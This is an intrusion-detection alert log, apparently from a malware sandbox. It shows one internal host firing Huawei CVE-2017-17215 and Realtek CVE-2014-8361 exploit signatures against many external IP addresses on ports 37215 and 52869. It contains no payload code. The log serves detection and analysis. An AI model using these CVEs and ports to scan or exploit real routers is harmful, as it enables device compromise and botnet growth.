07/20/24-23:01:05.553511	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43344	52869	192.168.2.14	202.140.60.188
07/20/24-23:01:33.050087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37714	37215	192.168.2.14	70.175.194.100
07/20/24-23:01:05.920528	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38800	37215	192.168.2.14	174.109.179.10
07/20/24-23:01:14.454899	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49910	37215	192.168.2.14	41.120.0.113
07/20/24-23:01:11.485692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32830	37215	192.168.2.14	41.225.86.159
07/20/24-23:01:14.397565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51668	37215	192.168.2.14	41.210.199.43
07/20/24-23:01:22.792913	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53166	37215	192.168.2.14	8.8.142.240
07/20/24-23:01:33.483598	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46276	52869	192.168.2.14	163.83.107.67
07/20/24-23:01:02.412914	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50604	37215	192.168.2.14	199.150.19.53
07/20/24-23:01:25.230393	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49454	37215	192.168.2.14	197.193.231.147
07/20/24-23:01:29.170915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53242	52869	192.168.2.14	190.101.187.66
07/20/24-23:01:13.334997	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52994	52869	192.168.2.14	79.199.66.178
07/20/24-23:01:05.905239	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34710	37215	192.168.2.14	133.78.34.31
07/20/24-23:01:22.792727	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36880	37215	192.168.2.14	197.7.12.7
07/20/24-23:01:19.227177	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60994	37215	192.168.2.14	138.51.234.253
07/20/24-23:01:11.456952	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55058	37215	192.168.2.14	157.48.141.155
07/20/24-23:01:25.042093	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47050	52869	192.168.2.14	197.234.206.236
07/20/24-23:01:07.676921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35910	37215	192.168.2.14	157.84.150.154
07/20/24-23:01:33.059039	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37818	37215	192.168.2.14	157.155.178.232
07/20/24-23:01:22.620765	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58196	52869	192.168.2.14	191.59.144.253
07/20/24-23:01:28.196416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39888	37215	192.168.2.14	157.203.201.189
07/20/24-23:01:14.399761	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58060	37215	192.168.2.14	41.85.14.252
07/20/24-23:01:34.936611	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51584	52869	192.168.2.14	43.85.108.87
07/20/24-23:01:33.030189	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33230	37215	192.168.2.14	197.5.79.69
07/20/24-23:01:05.895754	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45390	37215	192.168.2.14	157.32.53.131
07/20/24-23:01:22.776061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40228	37215	192.168.2.14	41.207.26.87
07/20/24-23:01:28.180178	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60750	37215	192.168.2.14	213.55.246.209
07/20/24-23:01:19.222378	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42722	37215	192.168.2.14	142.57.44.204
07/20/24-23:01:25.284909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57018	37215	192.168.2.14	157.16.157.164
07/20/24-23:01:35.095222	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45482	52869	192.168.2.14	180.84.13.38
07/20/24-23:01:02.444792	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49006	37215	192.168.2.14	13.83.123.25
07/20/24-23:01:05.855422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51692	52869	192.168.2.14	49.217.12.33
07/20/24-23:01:24.474342	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34730	52869	192.168.2.14	93.150.15.52
07/20/24-23:01:33.038711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43518	37215	192.168.2.14	158.154.180.60
07/20/24-23:01:25.295701	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55254	37215	192.168.2.14	41.9.245.89
07/20/24-23:01:25.480893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41230	52869	192.168.2.14	52.29.198.133
07/20/24-23:01:33.300499	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58088	52869	192.168.2.14	40.39.6.95
07/20/24-23:01:37.122769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54894	37215	192.168.2.14	157.191.90.153
07/20/24-23:01:22.787765	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37474	37215	192.168.2.14	157.229.138.60
07/20/24-23:01:24.078342	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42088	52869	192.168.2.14	37.157.73.197
07/20/24-23:01:25.293652	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43452	37215	192.168.2.14	157.213.239.66
07/20/24-23:01:13.334388	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56612	52869	192.168.2.14	90.146.163.93
07/20/24-23:01:02.408597	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42312	37215	192.168.2.14	41.65.98.19
07/20/24-23:01:02.408227	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42576	37215	192.168.2.14	197.24.4.235
07/20/24-23:01:28.216939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49386	37215	192.168.2.14	216.194.71.61
07/20/24-23:01:28.370423	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54788	37215	192.168.2.14	209.211.129.206
07/20/24-23:01:29.710885	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41234	52869	192.168.2.14	31.171.131.217
07/20/24-23:01:14.397066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33072	37215	192.168.2.14	79.163.84.245
07/20/24-23:01:07.664911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37038	37215	192.168.2.14	197.9.74.194
07/20/24-23:01:25.230443	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46506	37215	192.168.2.14	197.169.209.192
07/20/24-23:01:33.050087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40538	37215	192.168.2.14	197.176.87.202
07/20/24-23:01:30.599672	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57398	52869	192.168.2.14	139.72.178.53
07/20/24-23:01:34.952293	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32922	52869	192.168.2.14	218.196.239.193
07/20/24-23:01:02.408227	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55730	37215	192.168.2.14	37.110.59.42
07/20/24-23:01:02.414850	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57400	37215	192.168.2.14	116.213.32.189
07/20/24-23:01:06.290419	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48978	52869	192.168.2.14	5.108.28.159
07/20/24-23:01:34.923386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36400	52869	192.168.2.14	193.243.213.199
07/20/24-23:01:28.200134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47002	37215	192.168.2.14	197.114.99.193
07/20/24-23:01:37.121166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37200	37215	192.168.2.14	197.58.163.206
07/20/24-23:01:07.676384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38528	37215	192.168.2.14	157.27.100.110
07/20/24-23:01:25.301934	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34792	52869	192.168.2.14	94.216.126.93
07/20/24-23:01:06.253709	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33458	52869	192.168.2.14	14.68.225.116
07/20/24-23:01:14.397228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49028	37215	192.168.2.14	20.29.209.66
07/20/24-23:01:02.408595	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38436	37215	192.168.2.14	157.52.23.60
07/20/24-23:01:19.220875	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55450	37215	192.168.2.14	197.181.74.25
07/20/24-23:01:24.999208	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43606	52869	192.168.2.14	75.209.239.5
07/20/24-23:01:13.329142	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58330	52869	192.168.2.14	82.44.225.133
07/20/24-23:01:25.203753	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51624	52869	192.168.2.14	183.162.94.65
07/20/24-23:01:29.175082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37626	52869	192.168.2.14	128.88.211.196
07/20/24-23:01:22.772933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39096	37215	192.168.2.14	41.51.65.113
07/20/24-23:01:33.071289	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37406	37215	192.168.2.14	157.229.178.122
07/20/24-23:01:05.906603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34066	37215	192.168.2.14	197.224.197.36
07/20/24-23:01:34.911761	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52292	52869	192.168.2.14	41.37.91.19
07/20/24-23:01:23.070940	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59694	52869	192.168.2.14	147.31.96.80
07/20/24-23:01:02.411166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37174	37215	192.168.2.14	52.155.86.86
07/20/24-23:01:34.105180	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33484	52869	192.168.2.14	46.8.125.37
07/20/24-23:01:25.291116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43250	37215	192.168.2.14	41.165.26.56
07/20/24-23:01:29.171690	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41804	52869	192.168.2.14	52.29.198.133
07/20/24-23:01:25.293290	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36468	37215	192.168.2.14	77.111.0.243
07/20/24-23:01:33.040754	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33802	37215	192.168.2.14	155.83.108.84
07/20/24-23:01:29.504220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57614	52869	192.168.2.14	119.229.5.254
07/20/24-23:01:14.401003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54202	37215	192.168.2.14	41.234.173.201
07/20/24-23:01:29.172029	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54984	52869	192.168.2.14	106.0.79.225
07/20/24-23:01:33.475941	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34302	52869	192.168.2.14	110.189.251.29
07/20/24-23:01:29.176022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48410	52869	192.168.2.14	222.219.107.170
07/20/24-23:01:13.330389	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33388	52869	192.168.2.14	220.158.230.42
07/20/24-23:01:24.075555	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47570	52869	192.168.2.14	149.126.253.193
07/20/24-23:01:06.319207	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51760	52869	192.168.2.14	2.46.59.12
07/20/24-23:01:05.897173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41138	37215	192.168.2.14	197.57.12.65
07/20/24-23:01:07.662924	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48328	37215	192.168.2.14	204.86.40.252
07/20/24-23:01:34.910407	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45608	52869	192.168.2.14	91.137.254.120
07/20/24-23:01:34.914910	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54968	52869	192.168.2.14	202.94.49.200
07/20/24-23:01:32.359729	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56644	52869	192.168.2.14	64.178.194.185
07/20/24-23:01:11.459583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45740	37215	192.168.2.14	197.158.252.136
07/20/24-23:01:19.227177	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57666	37215	192.168.2.14	213.27.120.50
07/20/24-23:01:33.081951	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40114	37215	192.168.2.14	41.216.33.244
07/20/24-23:01:06.667915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49462	52869	192.168.2.14	38.32.235.210
07/20/24-23:01:13.329717	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60690	52869	192.168.2.14	128.98.160.122
07/20/24-23:01:22.804406	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37920	37215	192.168.2.14	157.143.9.246
07/20/24-23:01:29.555558	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34830	52869	192.168.2.14	128.10.172.66
07/20/24-23:01:28.142946	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35634	37215	192.168.2.14	197.94.215.195
07/20/24-23:01:28.200134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57240	37215	192.168.2.14	41.185.193.64
07/20/24-23:01:29.169445	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53600	52869	192.168.2.14	155.24.113.226
07/20/24-23:01:29.185354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59984	52869	192.168.2.14	98.8.145.55
07/20/24-23:01:33.631018	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35436	52869	192.168.2.14	37.186.199.96
07/20/24-23:01:25.383199	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37740	52869	192.168.2.14	118.150.115.134
07/20/24-23:01:34.909518	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43928	52869	192.168.2.14	148.132.169.125
07/20/24-23:01:34.900321	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47188	52869	192.168.2.14	198.58.137.77
07/20/24-23:01:34.928965	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57576	52869	192.168.2.14	89.251.44.55
07/20/24-23:01:02.415804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57010	37215	192.168.2.14	41.180.195.47
07/20/24-23:01:19.334468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37504	37215	192.168.2.14	197.235.84.11
07/20/24-23:01:29.172557	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43476	52869	192.168.2.14	66.23.204.217
07/20/24-23:01:05.920528	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45614	37215	192.168.2.14	148.29.0.19
07/20/24-23:01:13.329423	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55954	52869	192.168.2.14	40.122.199.14
07/20/24-23:01:07.672294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42336	37215	192.168.2.14	157.40.209.86
07/20/24-23:01:07.662924	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40246	37215	192.168.2.14	157.140.241.183
07/20/24-23:01:13.330329	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48210	52869	192.168.2.14	190.144.135.107
07/20/24-23:01:05.893818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35786	37215	192.168.2.14	41.204.105.129
07/20/24-23:01:22.785873	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38852	37215	192.168.2.14	41.5.19.94
07/20/24-23:01:29.173099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32826	52869	192.168.2.14	205.244.60.239
07/20/24-23:01:13.333328	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55668	52869	192.168.2.14	209.180.225.131
07/20/24-23:01:11.481655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34284	37215	192.168.2.14	197.221.222.140
07/20/24-23:01:24.460502	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59808	52869	192.168.2.14	164.82.176.136
07/20/24-23:01:11.472603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34266	37215	192.168.2.14	41.244.153.19
07/20/24-23:01:25.298710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56278	37215	192.168.2.14	106.111.13.138
07/20/24-23:01:33.070886	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57058	37215	192.168.2.14	193.123.123.238
07/20/24-23:01:05.911929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50520	37215	192.168.2.14	157.24.24.17
07/20/24-23:01:13.329661	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50004	52869	192.168.2.14	66.247.97.52
07/20/24-23:01:28.205022	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43900	37215	192.168.2.14	8.225.51.230
07/20/24-23:01:28.219332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50868	37215	192.168.2.14	157.248.221.244
07/20/24-23:01:07.662924	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59262	37215	192.168.2.14	85.25.104.53
07/20/24-23:01:05.528906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44008	52869	192.168.2.14	191.124.131.163
07/20/24-23:01:22.785873	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50748	37215	192.168.2.14	157.63.116.137
07/20/24-23:01:14.397263	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40804	37215	192.168.2.14	157.181.67.71
07/20/24-23:01:19.221388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46384	37215	192.168.2.14	157.213.47.9
07/20/24-23:01:34.903669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54692	52869	192.168.2.14	172.52.92.23
07/20/24-23:01:07.658261	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54066	37215	192.168.2.14	157.36.75.196
07/20/24-23:01:34.892272	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43614	52869	192.168.2.14	180.84.13.38
07/20/24-23:01:28.200134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34186	37215	192.168.2.14	157.93.65.112
07/20/24-23:01:07.672294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55166	37215	192.168.2.14	41.244.165.97
07/20/24-23:01:28.211361	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54788	37215	192.168.2.14	157.163.101.17
07/20/24-23:01:24.602041	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45916	52869	192.168.2.14	193.152.255.240
07/20/24-23:01:25.476330	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48734	52869	192.168.2.14	134.20.23.71
07/20/24-23:01:14.428293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44196	37215	192.168.2.14	197.223.158.9
07/20/24-23:01:02.408596	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57162	37215	192.168.2.14	157.137.75.124
07/20/24-23:01:19.220224	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51358	37215	192.168.2.14	52.169.146.169
07/20/24-23:01:06.119272	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46042	52869	192.168.2.14	62.62.247.176
07/20/24-23:01:06.267322	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47368	52869	192.168.2.14	64.61.21.55
07/20/24-23:01:05.911930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44068	37215	192.168.2.14	161.234.199.200
07/20/24-23:01:22.783280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37000	37215	192.168.2.14	41.224.87.166
07/20/24-23:01:34.937254	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39862	52869	192.168.2.14	138.145.119.211
07/20/24-23:01:13.332438	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42376	52869	192.168.2.14	169.73.158.246
07/20/24-23:01:29.684573	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38526	52869	192.168.2.14	74.157.77.170
07/20/24-23:01:11.480465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48608	37215	192.168.2.14	60.95.251.66
07/20/24-23:01:19.334799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36974	37215	192.168.2.14	197.113.223.82
07/20/24-23:01:37.227564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34346	37215	192.168.2.14	222.100.5.186
07/20/24-23:01:33.110605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44424	37215	192.168.2.14	157.13.78.198
07/20/24-23:01:14.397786	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42810	37215	192.168.2.14	41.244.95.243
07/20/24-23:01:34.902184	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42246	52869	192.168.2.14	209.57.40.96
07/20/24-23:01:07.676384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48138	37215	192.168.2.14	41.197.206.221
07/20/24-23:01:33.510703	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46102	52869	192.168.2.14	27.2.47.157
07/20/24-23:01:37.160288	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54352	37215	192.168.2.14	169.141.152.236
07/20/24-23:01:11.467355	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52582	37215	192.168.2.14	41.213.182.56
07/20/24-23:01:34.899753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42134	52869	192.168.2.14	42.119.93.45
07/20/24-23:01:02.411645	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40822	37215	192.168.2.14	41.121.47.232
07/20/24-23:01:33.044521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34008	37215	192.168.2.14	197.30.48.23
07/20/24-23:01:02.405622	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47230	37215	192.168.2.14	157.78.32.167
07/20/24-23:01:02.404044	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60728	37215	192.168.2.14	41.26.139.46
07/20/24-23:01:25.288605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42420	37215	192.168.2.14	41.221.41.23
07/20/24-23:01:22.794319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49224	37215	192.168.2.14	41.162.79.152
07/20/24-23:01:29.673846	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38230	52869	192.168.2.14	179.97.208.77
07/20/24-23:01:11.486486	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37216	37215	192.168.2.14	41.138.67.78
